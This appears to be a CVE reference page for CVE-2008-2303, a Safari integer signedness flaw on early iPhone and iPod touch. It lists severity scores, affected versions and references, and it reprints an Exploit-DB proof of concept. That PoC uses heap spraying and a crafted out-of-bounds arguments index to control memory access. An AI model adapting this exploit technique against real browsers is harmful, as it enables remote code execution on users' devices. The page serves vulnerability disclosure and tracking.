CVE-2008-2303 : Detail

CVE-2008-2303

20.5%V4
Network
2008-07-14
16h00 +00:00
2017-08-07
10h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Integer signedness error in Safari on Apple iPhone before 2.0 and iPod touch before 2.0 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via vectors involving JavaScript array indices that trigger an out-of-bounds access, a different vulnerability than CVE-2008-2307.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 32048

Publication date : 2008-07-10 22h00 +00:00
Author : Hiromitsu Takagi
EDB Verified : Yes

source: https://www.securityfocus.com/bid/30186/info Apple iPhone and iPod touch are prone to multiple remote vulnerabilities: 1. A vulnerability that may allow users to spoof websites. 2. An information-disclosure vulnerability. 3. A buffer-overflow vulnerability. 4. Two memory-corruption vulnerabilities. Successfully exploiting these issues may allow attackers to execute arbitrary code, crash the affected application, obtain sensitive information, or direct unsuspecting victims to a spoofed site; other attacks are also possible. These issues affect iPhone 1.0 through 1.1.4 and iPod touch 1.1 through 1.1.4. <BODY> <SCRIPT src="HeapSpray2.js"></SCRIPT> <CODE id="sploit status"></CODE> <CODE id="heapspray status"></CODE> <SCRIPT> // The index for the "arguments" array in a JavaScript function in // Safari suffers from a signedness issue that allows access to elements // that are out of bounds. The index is cast to a signed value before it // is compared to the length of the array to check if it within the // bounds. Integer values larger than 0x8000,0000 will be cast to a // negative value and because they are always smaller then the length, // they are treated as a valid index. // The index into the arguments array ends up in instructions // that multiply it by 4 to access data in an array of 32 bit values. // There are no checks for overflows in this calculation. This allows us // to cause it to access anything in memory: // Pointer to object = base address + 4 * index // The base address varies only slightly and is normally about // 0x7FEx,xxxx. If we create a heap chunk of 0x0100,0000 bytes at a // predictable location using heap spraying, we can then calculate an // index that will access this memory. var iBase = 0x7fe91e6c; // Random sample - value varies but not a lot. var iTargetArea = 0x10000000; // Be advised that heap spraying is "upside down" in Safari: strings // are allocated at high addresses first and as the heap grows, the // addresses go down. The heap will therefor grow in between a lot of // DLLs which reside in this area of the address space as well. // We&#039;ll need to find an area of memory to spray that is not likely to // contain a DLL and easy to reach. var iTargetAddress = 0x55555555; // iTargetAddress(~0x5555,5555) = iBase(~0x7FEx,xxxx) + 4 * iIndex // 4 * iIndex = (iTargetAddress - iBase) (optionally + 0x1,0000,0000 because an integer overflow is needed) var iRequiredMultiplicationResult = iTargetAddress - iBase + (iTargetAddress < iBase ? 0x100000000 : 0) // iIndex = (iTargetAddress - iBase) / 4 var iIndex = Math.floor(iRequiredMultiplicationResult / 4) // We need to trigger the signedness issue so the index must be larger // then 0x8000,0000. Because of the integer overflow in the // multiplication, we can safely add 0x4000,0000 as often as we want; // the multiplication will remove it from the result. while (iIndex < 0x80000000) iIndex += 0x40000000 document.getElementById("sploit status").innerHTML = ( "iBase + 4 * iIndex = " + "0x" + iBase.toString(16, 8) + " + 4 * " + iIndex.toString(16, 8) + " = " + "0x" + (iBase + 4 * iIndex).toString(16, 8) + "<BR>" ); // Set up heap spray var oHeapSpray = new HeapSpray2(iTargetAddress, DWORD(0xDEADBEEF)) oHeapSpray.oOutputElement = document.getElementById("heapspray status") // Spray heap asynchronously and call sploit when done. oHeapSpray.spray(sploit) function sploit(oHeapSpray) { // This will cause an access violation using the value 0xDEADBEEF, // which comes from the strings we sprayed the heap with. // 6aa3d57f 8b4f0c mov ecx,dword ptr [edi+0Ch] ds:0023:deadbefb=???????? arguments[iIndex]; } function DWORD(iValue) { return String.fromCharCode(iValue & 0xFFFF, iValue >> 16) } </SCRIPT> </BODY>

Products Mentioned

Configuraton 0

Apple>>Iphone >> Version 1.0

Apple>>Iphone >> Version 1.1.3

    Apple>>Iphone >> Version 1.1.4

      Apple>>Iphone >> Version 1.02

      Apple>>Ipod_touch >> Version 1.1

      Apple>>Ipod_touch >> Version 1.1.1

      Apple>>Ipod_touch >> Version 1.1.2

      Apple>>Ipod_touch >> Version 1.1.3

        Apple>>Ipod_touch >> Version 1.1.4

          Apple>>Iphone_os >> Version 1.0.1

          Apple>>Iphone_os >> Version 1.0.2

          Apple>>Iphone_os >> Version 1.1.1

          Apple>>Iphone_os >> Version 1.1.2

          Apple>>Safari >> Version *

          References

          http://www.securityfocus.com/bid/30186
          Tags : vdb-entry, x_refsource_BID
          http://secunia.com/advisories/32706
          Tags : third-party-advisory, x_refsource_SECUNIA
          http://support.apple.com/kb/HT3298
          Tags : x_refsource_CONFIRM
          http://secunia.com/advisories/31074
          Tags : third-party-advisory, x_refsource_SECUNIA
          The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.